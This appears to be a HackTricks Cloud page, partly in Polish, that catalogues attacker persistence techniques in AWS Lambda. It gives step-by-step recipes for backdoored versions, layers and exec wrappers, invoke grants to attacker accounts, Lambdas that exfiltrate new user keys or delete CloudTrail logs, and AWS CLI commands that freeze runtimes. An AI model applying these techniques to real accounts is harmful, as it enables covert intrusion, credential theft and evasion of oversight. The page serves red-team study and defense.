AWS - Lambda Persistence
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Lambda
Aby uzyskać więcej informacji zobacz:
Lambda Layer Persistence
Możliwe jest introduce/backdoor a layer to execute arbitrary code gdy lambda jest uruchamiana w sposób dyskretny:
AWS - Lambda Layers Persistence
Lambda Extension Persistence
Wykorzystując Lambda Layers można także nadużyć extensions i uzyskać utrzymanie dostępu w Lambdzie, a także przechwytywać i modyfikować żądania.
AWS - Abusing Lambda Extensions
Via resource policies
Możliwe jest przyznanie dostępu do różnych akcji lambda (takich jak invoke lub update code) zewnętrznym kontom:
.png)
Versions, Aliases & Weights
Lambda może mieć różne versions (każda wersja z innym kodem).
Następnie można utworzyć różne aliases powiązane z różnymi versions funkcji lambda i ustawić dla nich różne weights.
W ten sposób atakujący może stworzyć backdoored version 1 oraz version 2 zawierającą tylko legit code i wykonywać version 1 tylko w 1% żądań, aby pozostać dyskretnym.
.png)
Version Backdoor + API Gateway
- Skopiuj oryginalny kod Lambdy
- Create a new version backdooring the original code (or just with malicious code). Publish and deploy that version to $LATEST
- Wywołaj API Gateway powiązany z Lambdą, aby wykonać kod
- Create a new version with the original code, Publish and deploy that version to $LATEST.
- To ukryje zbackdoorowany kod w poprzedniej wersji
- Przejdź do API Gateway i create a new POST method (lub wybierz inną metodę), która wykona zbackdoorowaną wersję Lambdy:
arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1 - Zwróć uwagę na końcowe :1 w ARN wskazujące wersję funkcji (version 1 będzie zbackdoorowaną w tym scenariuszu).
- Wybierz utworzoną metodę POST i w Actions wybierz
Deploy API - Teraz, gdy wywołasz funkcję przez POST, Twój Backdoor zostanie uruchomiony
Cron/Event actuator
Fakt, że możesz uruchamiać funkcje Lambda, gdy coś się wydarzy lub po upływie określonego czasu, czyni Lambdy popularnym sposobem na uzyskanie utrzymania dostępu i unikanie wykrycia.
Oto kilka pomysłów, jak uczynić swoją obecność w AWS bardziej dyskretną przez tworzenie lambd.
- Za każdym razem, gdy zostanie utworzony nowy użytkownik, Lambda generuje nowy klucz użytkownika i wysyła go do atakującego.
- Za każdym razem, gdy tworzona jest nowa rola, Lambda przyznaje uprawnienia assume role skompromitowanym użytkownikom.
- Za każdym razem, gdy pojawiają się nowe logi CloudTrail, usuń/zmodyfikuj je
RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
Wykorzystaj zmienną środowiskową AWS_LAMBDA_EXEC_WRAPPER, aby wykonać skrypt wrapper kontrolowany przez atakującego przed uruchomieniem runtime/handlera. Dostarcz wrapper jako Lambda Layer pod /opt/bin/htwrap, ustaw AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap, a następnie wywołaj funkcję. Wrapper działa wewnątrz procesu runtime funkcji, dziedziczy rolę wykonywania funkcji i ostatecznie wykonuje (exec) prawdziwy runtime, dzięki czemu oryginalny handler nadal wykonuje się normalnie.
AWS - Lambda Exec Wrapper Persistence
AWS - Lambda Function URL Public Exposure
Wykorzystaj asynchroniczne destinations Lambdy razem z konfiguracją Recursion, aby funkcja stale ponownie wywoływała samą siebie bez zewnętrznego schedulera (bez EventBridge, cron itp.). Domyślnie Lambda przerywa pętle rekursywne, ale ustawienie recursion config na Allow ponownie je włącza. Destinations dostarczają po stronie serwisu dla asynchronicznych wywołań, więc pojedyncze seed invoke tworzy dyskretny, bezkodowy kanał heartbeat/backdoor. Opcjonalnie ograniczaj przepustowość za pomocą reserved concurrency, aby zmniejszyć poziom szumu.
AWS - Lambda Async Self Loop Persistence
AWS - Lambda Alias-Scoped Resource Policy Backdoor
Utwórz ukrytą wersję Lambdy z logiką atakującego i zastosuj resource-based policy do tej konkretnej wersji (lub aliasu) używając parametru --qualifier w lambda add-permission. Przyznaj tylko lambda:InvokeFunction na arn:aws:lambda:REGION:ACCT:function:FN:VERSION principalowi atakującemu. Normalne wywołania przez nazwę funkcji lub główny alias pozostają niezmienione, podczas gdy atakujący może bezpośrednio wywołać ARN zbackdoorowanej wersji.
To jest bardziej dyskretne niż wystawienie Function URL i nie zmienia głównego aliasu ruchu.
AWS - Lambda Alias Version Policy Backdoor
Freezing AWS Lambda Runtimes
Atakujący, który ma uprawnienia lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig oraz lambda:GetRuntimeManagementConfig, może zmodyfikować konfigurację zarządzania runtime funkcji. Ten atak jest szczególnie skuteczny, gdy celem jest utrzymanie funkcji Lambda na podatnej wersji runtime lub zachowanie zgodności ze złośliwymi layers, które mogą być niekompatybilne z nowszymi runtime’ami.
Atakujący modyfikuje konfigurację zarządzania runtime, aby przypiąć wersję runtime:
# Invoke the function to generate runtime logs
aws lambda invoke \
--function-name $TARGET_FN \
--payload '{}' \
--region us-east-1 /tmp/ping.json
sleep 5
# Freeze automatic runtime updates on function update
aws lambda put-runtime-management-config \
--function-name $TARGET_FN \
--update-runtime-on FunctionUpdate \
--region us-east-1
Zweryfikuj zastosowaną konfigurację:
aws lambda get-runtime-management-config \
--function-name $TARGET_FN \
--region us-east-1
Opcjonalnie: Przypnij do konkretnej wersji runtime
# Extract Runtime Version ARN from INIT_START logs
RUNTIME_ARN=$(aws logs filter-log-events \
--log-group-name /aws/lambda/$TARGET_FN \
--filter-pattern "INIT_START" \
--query 'events[0].message' \
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
Przypnij do konkretnej wersji środowiska uruchomieniowego:
aws lambda put-runtime-management-config \
--function-name $TARGET_FN \
--update-runtime-on Manual \
--runtime-version-arn $RUNTIME_ARN \
--region us-east-1
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

